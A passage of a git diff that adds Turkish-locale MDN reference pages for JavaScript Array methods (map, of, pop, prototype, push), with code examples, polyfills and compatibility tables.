visited by <code>callback</code>. If existing elements of the array are changed, their value as passed to <code>callback</code> will be the value at the time <code>map</code> visits them. Elements that are deleted after the call to <code>map</code> begins and before being visited are not visited.<br> + <br> + Due to the algorithm defined in the specification if the array which map was called upon is sparse, resulting array will also be sparse keeping same indices blank.</p> + +<h2 id="Examples">Examples</h2> + +<h3 id="Mapping_an_array_of_numbers_to_an_array_of_square_roots">Mapping an array of numbers to an array of square roots</h3> + +<p>The following code takes an array of numbers and creates a new array containing the square roots of the numbers in the first array.</p> + +<pre class="brush: js">var numbers = [1, 4, 9]; +var roots = numbers.map(Math.sqrt); +// roots is now [1, 2, 3] +// numbers is still [1, 4, 9] +</pre> + +<h3 id="Using_map_to_reformat_objects_in_an_array">Using map to reformat objects in an array</h3> + +<p>The following code takes an array of objects and creates a new array containing the newly reformatted objects.</p> + +<pre class="brush: js">var kvArray = [{key: 1, value: 10}, + {key: 2, value: 20}, + {key: 3, value: 30}]; + +var reformattedArray = kvArray.map(obj =>{ + var rObj = {}; + rObj[obj.key] = obj.value; + return rObj; +}) +// reformattedArray is now [{1: 10}, {2: 20}, {3: 30}], + +// kvArray is still: +// [{key: 1, value: 10}, +// {key: 2, value: 20}, +// {key: 3, value: 30}] +</pre> + +<h3 id="Mapping_an_array_of_numbers_using_a_function_containing_an_argument">Mapping an array of numbers using a function containing an argument</h3> + +<p>The following code shows how map works when a function requiring one argument is used with it. The argument will automatically be assigned from each element of the array as map loops through the original array.</p> + +<pre class="brush: js">var numbers = [1, 4, 9]; +var doubles = numbers.map(function(num) { + return num * 2; +}); + +// doubles is now [2, 8, 18] +// numbers is still [1, 4, 9] +</pre> + +<h3 id="Using_map_generically">Using <code>map</code> generically</h3> + +<p>This example shows how to use map on a {{jsxref("String")}} to get an array of bytes in the ASCII encoding representing the character values:</p> + +<pre class="brush: js">var map = Array.prototype.map; +var a = map.call('Hello World', function(x) { + return x.charCodeAt(0); +}); +// a now equals [72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100] +</pre> + +<h3 id="Using_map_generically_querySelectorAll">Using <code>map</code> generically <code>querySelectorAll</code></h3> + +<p>This example shows how to iterate through a collection of objects collected by <code>querySelectorAll</code>. In this case we get all selected options on the screen and printed on the console:</p> + +<pre class="brush: js">var elems = document.querySelectorAll('select option:checked'); +var values = Array.prototype.map.call(elems, function(obj) { + return obj.value; +}); +</pre> + +<p>Easier way would be using {{jsxref("Array.from()")}} method.</p> + +<h3 id="Tricky_use_case">Tricky use case</h3> + +<p><a href="http://www.wirfs-brock.com/allen/posts/166">(inspired by this blog post)</a></p> + +<p>It is common to use the callback with one argument (the element being traversed). Certain functions are also commonly used with one argument, even though they take additional optional arguments. These habits may lead to confusing behaviors.</p> + +<pre class="brush: js">// Consider: +['1', '2', '3'].map(parseInt); +// While one could expect [1, 2, 3] +// The actual result is [1, NaN, NaN] + +// parseInt is often used with one argument, but takes two. +// The first is an expression and the second is the radix. +// To the callback function, Array.prototype.map passes 3 arguments: +// the element, the index, the array +// The third argument is ignored by parseInt, but not the second one, +// hence the possible confusion. See the blog post for more details + +function returnInt(element) { + return parseInt(element, 10); +} + +['1', '2', '3'].map(returnInt); // [1, 2, 3] +// Actual result is an array of numbers (as expected) + +// Same as above, but using the concise arrow function syntax +['1', '2', '3'].map( str => parseInt(str) ); + +// A simpler way to achieve the above, while avoiding the "gotcha": +['1', '2', '3'].map(Number); // [1, 2, 3] +// but unlike `parseInt` will also return a float or (resolved) exponential notation: +['1.1', '2.2e2', '3e300'].map(Number); // [1.1, 220, 3e+300] +</pre> + +<p>One alternative output of the map method being called with parseInt as a parameter runs as follows:</p> + +<pre class="brush: js">var xs = ['10', '10', '10']; + +xs = xs.map(parseInt); + +console.log(xs); +// Actual result of 10,NaN,2 may be unexpected based on the above description.</pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p><code>map</code> was added to the ECMA-262 standard in the 5th edition; as such it may not be present in all implementations of the standard. You can work around this by inserting the following code at the beginning of your scripts, allowing use of <code>map</code> in implementations which do not natively support it. This algorithm is exactly the one specified in ECMA-262, 5th edition, assuming {{jsxref("Object")}}, {{jsxref("TypeError")}}, and {{jsxref("Array")}} have their original values and that <code>callback.call</code> evaluates to the original value of <code>{{jsxref("Function.prototype.call")}}</code>.</p> + +<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.19 +// Reference: http://es5.github.io/#x15.4.4.19 +if (!Array.prototype.map) { + + Array.prototype.map = function(callback/*, thisArg*/) { + + var T, A, k; + + if (this == null) { + throw new TypeError('this is null or not defined'); + } + + // 1. Let O be the result of calling ToObject passing the |this| + // value as the argument. + var O = Object(this); + + // 2. Let lenValue be the result of calling the Get internal + // method of O with the argument "length". + // 3. Let len be ToUint32(lenValue). + var len = O.length >>> 0; + + // 4. If IsCallable(callback) is false, throw a TypeError exception. + // See: http://es5.github.com/#x9.11 + if (typeof callback !== 'function') { + throw new TypeError(callback + ' is not a function'); + } + + // 5. If thisArg was supplied, let T be thisArg; else let T be undefined. + if (arguments.length > 1) { + T = arguments[1]; + } + + // 6. Let A be a new array created as if by the expression new Array(len) + // where Array is the standard built-in constructor with that name and + // len is the value of len. + A = new Array(len); + + // 7. Let k be 0 + k = 0; + + // 8. Repeat, while k < len + while (k < len) { + + var kValue, mappedValue; + + // a. Let Pk be ToString(k). + // This is implicit for LHS operands of the in operator + // b. Let kPresent be the result of calling the HasProperty internal + // method of O with argument Pk. + // This step can be combined with c + // c. If kPresent is true, then + if (k in O) { + + // i. Let kValue be the result of calling the Get internal + // method of O with argument Pk. + kValue = O[k]; + + // ii. Let mappedValue be the result of calling the Call internal + // method of callback with T as the this value and argument + // list containing kValue, k, and O. + mappedValue = callback.call(T, kValue, k, O); + + // iii. Call the DefineOwnProperty internal method of A with arguments + // Pk, Property Descriptor + // { Value: mappedValue, + // Writable: true, + // Enumerable: true, + // Configurable: true }, + // and false. + + // In browsers that support Object.defineProperty, use the following: + // Object.defineProperty(A, k, { + // value: mappedValue, + // writable: true, + // enumerable: true, + // configurable: true + // }); + + // For best browser support, use the following: + A[k] = mappedValue; + } + // d. Increase k by 1. + k++; + } + + // 9. return A + return A; + }; +} +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.4.4.19', 'Array.prototype.map')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>Initial definition. Implemented in JavaScript 1.6.</td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-array.prototype.map', 'Array.prototype.map')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.prototype.map', 'Array.prototype.map')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div> + + +<p>{{Compat("javascript.builtins.Array.map")}}</p> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Array.prototype.forEach()")}}</li> + <li>{{jsxref("Map")}} object</li> + <li>{{jsxref("Array.from()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/of/index.html b/files/tr/web/javascript/reference/global_objects/array/of/index.html new file mode 100644 index 0000000000..07bd40a430 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/array/of/index.html @@ -0,0 +1,98 @@ +--- +title: Array.of() +slug: Web/JavaScript/Reference/Global_Objects/Array/of +tags: + - Dizi + - ECMAScript 2015 + - JavaScript + - metod + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Array/of +--- +<div>{{JSRef}}</div> + +<p><code><strong>Array.of()</strong></code> metodu, verilen argümanları içeren yeni bir dizi (<code>Array</code>) oluşturur. Argüman sayısı ve tipi konusunda herhangi bir kısıtı yoktur.</p> + +<p><code><strong>Array.of()</strong></code> ile <code><strong>Array</strong></code> yapıcı (constructor) arasındaki fark, sayısal argümanları kullanma biçimidir: <code><strong>Array.of(7)</strong></code> tek öğesi <code>7</code> olan bir dizi oluştururken, <code><strong>Array(7)</strong></code>, 7 öğe kapasiteli -<code>length</code> özelliği 7 olan- boş bir dizi oluşturur (<strong>Not:</strong> Bu ifade 7 boş yeri olan bir dizi oluştur, kapasitesi kadar tanımsız öğe içeren bir dizi değil).</p> + +<pre class="brush: js">Array.of(7); // [7] +Array.of(1, 2, 3); // [1, 2, 3] + +Array(7); // [ , , , , , , ] +Array(1, 2, 3); // [1, 2, 3] +</pre> + +<h2 id="Sözdizimi">Sözdizimi</h2> + +<pre class="syntaxbox">Array.of(<var>element0</var>[, <var>element1</var>[, ...[, <var>elementN</var>]]])</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>element<em>N</em></code></dt> + <dd>Diziyi oluşturacak öğeler.</dd> +</dl> + +<h3 id="Dönüş_değeri">Dönüş değeri</h3> + +<p>Yeni bir {{jsxref("Array")}} örneği.</p> + +<h2 id="Açıklama">Açıklama</h2> + +<p>Bu fonksiyon ECMAScript 2015 standardının bir parçasıdır. Daha fazla bilgi için <a href="https://gist.github.com/rwaldron/1074126"><code>Array.of</code> ve <code>Array.from</code> proposal</a> ve <a href="https://gist.github.com/rwaldron/3186576"><code>Array.of</code> polyfill</a> linklerine bakabilirsiniz.</p> + +<h2 id="Örnekler">Örnekler</h2> + +<pre class="brush: js">Array.of(1); // [1] +Array.of(1, 2, 3); // [1, 2, 3] +Array.of(undefined); // [undefined] +</pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p>Eğer <code>Array.of()</code> doğal olarak mevcut değilse, aşağıdaki kodu diğer kodlardan önce çalıştırarak oluşturabilirsiniz.</p> + +<pre class="brush: js">if (!Array.of) { + Array.of = function() { + return Array.prototype.slice.call(arguments); + }; +} +</pre> + +<h2 id="Şartnameler">Şartnameler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Şartname</th> + <th scope="col">Durum</th> + <th scope="col">Yorum</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-array.of', 'Array.of')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>İlk tanım.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.of', 'Array.of')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Uyumu">Tarayıcı Uyumu</h2> + +<div> +<div class="hidden">Bu sayfadaki uyumluluk tablosu, yapılandırılmış veriden oluşturulmuştur. Eğer katkıda bulunmak istiyorsanız, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> adresini inceleyip bize çekme talebi gönderin.</div> + +<p>{{Compat("javascript.builtins.Array.of")}}</p> +</div> + +<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> + +<ul> + <li>{{jsxref("Array")}}</li> + <li>{{jsxref("Array.from()")}}</li> + <li>{{jsxref("TypedArray.of()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/pop/index.html b/files/tr/web/javascript/reference/global_objects/array/pop/index.html new file mode 100644 index 0000000000..649cb88921 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/array/pop/index.html @@ -0,0 +1,117 @@ +--- +title: Array.prototype.pop() +slug: Web/JavaScript/Reference/Global_Objects/Array/pop +translation_of: Web/JavaScript/Reference/Global_Objects/Array/pop +--- +<div>{{JSRef}}</div> + +<p><code><strong>pop()</strong></code> yöntemi, bir dizideki <strong>son</strong> öğeyi kaldırır ve o öğeyi döndürür. Bu yöntem dizinin uzunluğunu değiştirir.</p> + + + +<div>{{EmbedInteractiveExample("pages/js/array-pop.html")}}</div> + + + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox"><var>arr</var>.pop()</pre> + +<h3 id="Return_value">Return value</h3> + +<p>The removed element from the array; {{jsxref("undefined")}} if the array is empty.</p> + +<h2 id="Description">Description</h2> + +<p>The <code>pop</code> method removes the last element from an array and returns that value to the caller.</p> + +<p><code>pop</code> is intentionally generic; this method can be {{jsxref("Function.call", "called", "", 1)}} or {{jsxref("Function.apply", "applied", "", 1)}} to objects resembling arrays. Objects which do not contain a <code>length</code> property reflecting the last in a series of consecutive, zero-based numerical properties may not behave in any meaningful manner.</p> + +<p>If you call <code>pop()</code> on an empty array, it returns {{jsxref("undefined")}}.</p> + +<p>{{jsxref("Array.prototype.shift()")}} has similar behavior to <code>pop</code>, but applied to the first element in an array.</p> + +<h2 id="Examples">Examples</h2> + +<h3 id="Removing_the_last_element_of_an_array">Removing the last element of an array</h3> + +<p>The following code creates the <code>myFish</code> array containing four elements, then removes its last element.</p> + +<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon']; + +var popped = myFish.pop(); + +console.log(myFish); // ['angel', 'clown', 'mandarin' ] + +console.log(popped); // 'sturgeon'</pre> + + + +<h3 id="Using_apply_or_call_on_array-like_objects">Using apply( ) or call ( ) on array-like objects</h3> + +<p>The following code creates the <code>myFish</code> array-like object containing four elements and a length parameter, then removes its last element and decrements the length parameter.</p> + +<pre class="brush: js">var myFish = {0:'angel', 1:'clown', 2:'mandarin', 3:'sturgeon', length: 4}; + +var popped = Array.prototype.pop.call(myFish); //same syntax for using apply( ) + +console.log(myFish); // {0:'angel', 1:'clown', 2:'mandarin', length: 3} + +console.log(popped); // 'sturgeon' +</pre> + + + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES3')}}</td> + <td>{{Spec2('ES3')}}</td> + <td>Initial definition. Implemented in JavaScript 1.2.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.4.4.6', 'Array.prototype.pop')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-array.prototype.pop', 'Array.prototype.pop')}}</td> + <td>{{Spec2('ES6')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.prototype.pop', 'Array.prototype.pop')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div> + + +<p>{{Compat("javascript.builtins.Array.pop")}}</p> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Array.prototype.push()")}}</li> + <li>{{jsxref("Array.prototype.shift()")}}</li> + <li>{{jsxref("Array.prototype.unshift()")}}</li> + <li>{{jsxref("Array.prototype.concat()")}}</li> + <li>{{jsxref("Array.prototype.splice()")}}</li> +</ul> + +<div id="gtx-trans" style="position: absolute; left: 79px; top: 355px;"> +<div class="gtx-trans-icon"></div> +</div> diff --git a/files/tr/web/javascript/reference/global_objects/array/prototype/index.html b/files/tr/web/javascript/reference/global_objects/array/prototype/index.html new file mode 100644 index 0000000000..19ffe3c80f --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/array/prototype/index.html @@ -0,0 +1,205 @@ +--- +title: Array.prototype +slug: Web/JavaScript/Reference/Global_Objects/Array/prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Array/prototype +--- +<div>{{JSRef("Global_Objects", "Array")}}</div> + +<h2 id="Summary" name="Summary">Summary</h2> + +<p>The <strong><code>Array.prototype</code></strong> property represents the prototype for the {{jsxref("Global_Objects/Array", "Array")}} constructor.</p> + +<div>{{js_property_attributes(0, 0, 0)}}</div> + +<h2 id="Description" name="Description">Description</h2> + +<p>{{jsxref("Global_Objects/Array", "Array")}} instances inherit from <code>Array.prototype</code>. As with all constructors, you can change the constructor's prototype object to make changes to all {{jsxref("Global_Objects/Array", "Array")}} instances.</p> + +<p>Little known fact: <code>Array.prototype</code> itself is an {{jsxref("Global_Objects/Array", "Array")}}:</p> + +<pre class="brush: js">Array.isArray(Array.prototype); // true +</pre> + +<h2 id="Properties" name="Properties">Properties</h2> + +<dl> + <dt><code>Array.prototype.constructor</code></dt> + <dd>Specifies the function that creates an object's prototype.</dd> + <dt>{{jsxref("Array.prototype.length")}}</dt> + <dd>Reflects the number of elements in an array.</dd> +</dl> + +<h2 id="Methods" name="Methods">Methods</h2> + +<h3 id="Mutator_methods" name="Mutator_methods">Mutator methods</h3> + +<p>These methods modify the array:</p> + +<dl> + <dt>{{jsxref("Array.prototype.copyWithin()")}} {{experimental_inline}}</dt> + <dd>Copies a sequence of array elements within the array.</dd> + <dt>{{jsxref("Array.prototype.fill()")}} {{experimental_inline}}</dt> + <dd>Fills all the elements of an array from a start index to an end index with a static value.</dd> + <dt>{{jsxref("Array.prototype.pop()")}}</dt> + <dd>Removes the last element from an array and returns that element.</dd> + <dt>{{jsxref("Array.prototype.push()")}}</dt> + <dd>Adds one or more elements to the end of an array and returns the new length of the array.</dd> + <dt>{{jsxref("Array.prototype.reverse()")}}</dt> + <dd>Reverses the order of the elements of an array in place — the first becomes the last, and the last becomes the first.</dd> + <dt>{{jsxref("Array.prototype.shift()")}}</dt> + <dd>Removes the first element from an array and returns that element.</dd> + <dt>{{jsxref("Array.prototype.sort()")}}</dt> + <dd>Sorts the elements of an array in place and returns the array.</dd> + <dt>{{jsxref("Array.prototype.splice()")}}</dt> + <dd>Adds and/or removes elements from an array.</dd> + <dt>{{jsxref("Array.prototype.unshift()")}}</dt> + <dd>Adds one or more elements to the front of an array and returns the new length of the array.</dd> +</dl> + +<h3 id="Accessor_methods" name="Accessor_methods">Accessor methods</h3> + +<p>These methods do not modify the array and return some representation of the array.</p> + +<dl> + <dt>{{jsxref("Array.prototype.concat()")}}</dt> + <dd>Returns a new array comprised of this array joined with other array(s) and/or value(s).</dd> + <dt>{{jsxref("Array.prototype.includes()")}} {{experimental_inline}}</dt> + <dd>Determines whether an array contains a certain element, returning <code>true</code> or <code>false</code> as appropriate.</dd> + <dt>{{jsxref("Array.prototype.join()")}}</dt> + <dd>Joins all elements of an array into a string.</dd> + <dt>{{jsxref("Array.prototype.slice()")}}</dt> + <dd>Extracts a section of an array and returns a new array.</dd> + <dt>{{jsxref("Array.prototype.toSource()")}} {{non-standard_inline}}</dt> + <dd>Returns an array literal representing the specified array; you can use this value to create a new array. Overrides the {{jsxref("Object.prototype.toSource()")}} method.</dd> + <dt>{{jsxref("Array.prototype.toString()")}}</dt> + <dd>Returns a string representing the array and its elements. Overrides the {{jsxref("Object.prototype.toString()")}} method.</dd> + <dt>{{jsxref("Array.prototype.toLocaleString()")}}</dt> + <dd>Returns a localized string representing the array and its elements. Overrides the {{jsxref("Object.prototype.toLocaleString()")}} method.</dd> + <dt>{{jsxref("Array.prototype.indexOf()")}}</dt> + <dd>Returns the first (least) index of an element within the array equal to the specified value, or -1 if none is found.</dd> + <dt>{{jsxref("Array.prototype.lastIndexOf()")}}</dt> + <dd>Returns the last (greatest) index of an element within the array equal to the specified value, or -1 if none is found.</dd> +</dl> + +<h3 id="Iteration_methods" name="Iteration_methods">Iteration methods</h3> + +<p>Several methods take as arguments functions to be called back while processing the array. When these methods are called, the <code>length</code> of the array is sampled, and any element added beyond this length from within the callback is not visited. Other changes to the array (setting the value of or deleting an element) may affect the results of the operation if the method visits the changed element afterwards. While the specific behavior of these methods in such cases is well-defined, you should not rely upon it so as not to confuse others who might read your code. If you must mutate the array, copy into a new array instead.</p> + +<dl> + <dt>{{jsxref("Array.prototype.forEach()")}}</dt> + <dd>Calls a function for each element in the array.</dd> + <dt>{{jsxref("Array.prototype.entries()")}} {{experimental_inline}}</dt> + <dd>Returns a new <code>Array Iterator</code> object that contains the key/value pairs for each index in the array.</dd> + <dt>{{jsxref("Array.prototype.every()")}}</dt> + <dd>Returns true if every element in this array satisfies the provided testing function.</dd> + <dt>{{jsxref("Array.prototype.some()")}}</dt> + <dd>Returns true if at least one element in this array satisfies the provided testing function.</dd> + <dt>{{jsxref("Array.prototype.filter()")}}</dt> + <dd>Creates a new array with all of the elements of this array for which the provided filtering function returns true.</dd> + <dt>{{jsxref("Array.prototype.find()")}} {{experimental_inline}}</dt> + <dd>Returns the found value in the array, if an element in the array satisfies the provided testing function or <code>undefined</code> if not found.</dd> + <dt>{{jsxref("Array.prototype.findIndex()")}} {{experimental_inline}}</dt> + <dd>Returns the found index in the array, if an element in the array satisfies the provided testing function or -1 if not found.</dd> + <dt>{{jsxref("Array.prototype.keys()")}} {{experimental_inline}}</dt> + <dd>Returns a new <code>Array Iterator</code> that contains the keys for each index in the array.</dd> + <dt>{{jsxref("Array.prototype.map()")}}</dt> + <dd>Creates a new array with the results of calling a provided function on every element in this array.</dd> + <dt>{{jsxref("Array.prototype.reduce()")}}</dt> + <dd>Apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value.</dd> + <dt>{{jsxref("Array.prototype.reduceRight()")}}</dt> + <dd>Apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value.</dd> + <dt>{{jsxref("Array.prototype.values()")}} {{experimental_inline}}</dt> + <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array.</dd> + <dt>{{jsxref("Array.prototype.@@iterator()", "Array.prototype[@@iterator]()")}} {{experimental_inline}}</dt> + <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array.</dd> +</dl> + +<h3 id="Generic_methods" name="Generic_methods">Generic methods</h3> + +<p>Many methods on the JavaScript Array object are designed to be generally applied to all objects which “look like” Arrays. That is, they can be used on any object which has a <code>length</code> property, and which can usefully be accessed using numeric property names (as with <code>array[5]</code> indexing). <span class="comment">TODO: give examples with Array.prototype.forEach.call, and adding the method to an object like {{jsxref("Global_Objects/JavaArray", "JavaArray")}} or {{jsxref("Global_Objects/String", "String")}}.</span> Some methods, such as {{jsxref("Array.join", "join")}}, only read the <code>length</code> and numeric properties of the object they are called on. Others, like {{jsxref("Array.reverse", "reverse")}}, require that the object's numeric properties and <code>length</code> be mutable; these methods can therefore not be called on objects like {{jsxref("Global_Objects/String", "String")}}, which does not permit its <code>length</code> property or synthesized numeric properties to be set.</p> + +<h2 id="Specifications" name="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>ECMAScript 1st Edition.</td> + <td>Standard</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.4.3.1', 'Array.prototype')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-array.prototype', 'Array.prototype')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also" name="See_also">See also</h2> + +<ul> + <li>{{jsxref("Global_Objects/Array", "Array")}}</li> + <li>{{jsxref("Function.prototype")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/push/index.html b/files/tr/web/javascript/reference/global_objects/array/push/index.html new file mode 100644 index 0000000000..a5cd57980b --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/array/push/index.html @@ -0,0 +1,152 @@ +--- +title: Array.prototype.push() +slug: Web/JavaScript/Reference/Global_Objects/Array/push +tags: + - Dizi + - JavaScript + - Metot + - Prototype + - Referans +translation_of: Web/JavaScript/Reference/Global_Objects/Array/push +--- +<div>{{JSRef}}</div> + +<p><code><strong>push()</strong></code> metotu dizinin sonuna bir yada daha fazla element ekler ve dizinin yeni uzunluğunu geri döndürür.</p> + +<h2 id="Söz_dizimi">Söz dizimi</h2> + +<pre class="syntaxbox"><code><var>arr</var>.push(<var>element1</var>, ..., <var>elementN</var>)</code></pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>element<em>N</em></code></dt> + <dd>Dizinin sonuna eklenecek elementler.</dd> +</dl> + +<h3 id="Geri_döndürür">Geri döndürür</h3> + +<p>Nesnenin yeni {{jsxref("Array.length", "length")}} özelliğini metotun çağrılması üzerine geri döndürür.</p> + +<h2 id="Tanım">Tanım</h2> + +<p><code>push</code> metotu değerleri bir diziye ekler.</p> + +<p><code>push</code> kasıtlı olarak genelleyicidir. Bu metot benzeyen nesnelerin dizilerinde {{jsxref("Function.call", "call()")}} veya {{jsxref("Function.apply", "apply()")}} ile kullanılabilir. <code>push</code> metotu verilen değerleri eklemeye nereden başlayacağını tespit etmek için <code>length</code> özelliğine dayanır. Eğer <code>length</code> özelliği bir sayıya dönüştürülemezse indeks 0 kabul edilir. Bu durum <code>length</code> özelliğinin bulunmama ihtimalini de kapsar, bu durumda <code>length</code> ayrıca oluşturulacaktır.</p> + +<p>Sadece yerel dizi benzeri nesneler {{jsxref("Global_Objects/String", "strings", "", 1)}} olduğu halde stringlerin değişmez olduğu gibi bu metotun uygulamalarına uygun değildirler.</p> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Bir_diziye_element_ekleme">Bir diziye element ekleme</h3> + +<p>Aşağıda bulunan kod iki elementi bulunan <code>sports</code> dizisini oluşturuyor, daha sonra iki diziye iki element daha ekliyor. <code>total</code> değişkeni dizinin yeni uzunluğunu tutuyor.</p> + +<pre class="brush: js">var sports = ['soccer', 'baseball']; +var total = sports.push('football', 'swimming'); + +console.log(sports); // ['soccer', 'baseball', 'football', 'swimming'] +console.log(total); // 4 +</pre> + +<h3 id="İki_diziyi_birleştirme">İki diziyi birleştirme</h3> + +<p>Bu örnek ikinci bir diziden bütün elemanları eklemek için {{jsxref("Function.apply", "apply()")}} kullanıyor.</p> + +<pre class="brush: js">var vegetables = ['parsnip', 'potato']; +var moreVegs = ['celery', 'beetroot']; + +// İkinci diziyi birinciyle birleştir +// Şuna eşdeğer, vegetables.push('celery', 'beetroot'); +Array.prototype.push.apply(vegetables, moreVegs); + +console.log(vegetables); // ['parsnip', 'potato', 'celery', 'beetroot'] +</pre> + +<h2 id="Şartnameler">Şartnameler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Şartname</th> + <th scope="col">Durum</th> + <th scope="col">Yorum</th> + </tr> + <tr> + <td>{{SpecName('ES3')}}</td> + <td>{{Spec2('ES3')}}</td> + <td>İlk tanım. JavaScript 1.2'de uygulandı.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.4.4.7', 'Array.prototype.push')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-array.prototype.push', 'Array.prototype.push')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_uyumu">Tarayıcı uyumu</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basit destek</td> + <td>{{CompatChrome("1.0")}}</td> + <td>{{CompatGeckoDesktop("1.7")}}</td> + <td>{{CompatIE("5.5")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Android</th> + <th>Android için Chrome</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basit destek</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Ayrıca_göz_at">Ayrıca göz at</h2> + +<ul> + <li>{{jsxref("Array.prototype.pop()")}}</li> + <li>{{jsxref("Array.prototype.shift()")}}</li> + <li>{{jsxref("Array.prototype.unshift()")}}</li> + <li>{{jsxref("Array.prototype.concat()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/reverse/index.html b/files/tr/web/javascript/reference/global_objects/array/reverse/index.html new file mode 100644 index 0000000000..d9bdb98b76 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/array/reverse/index.html @@ -0,0 +1,107 @@ +--- +title: 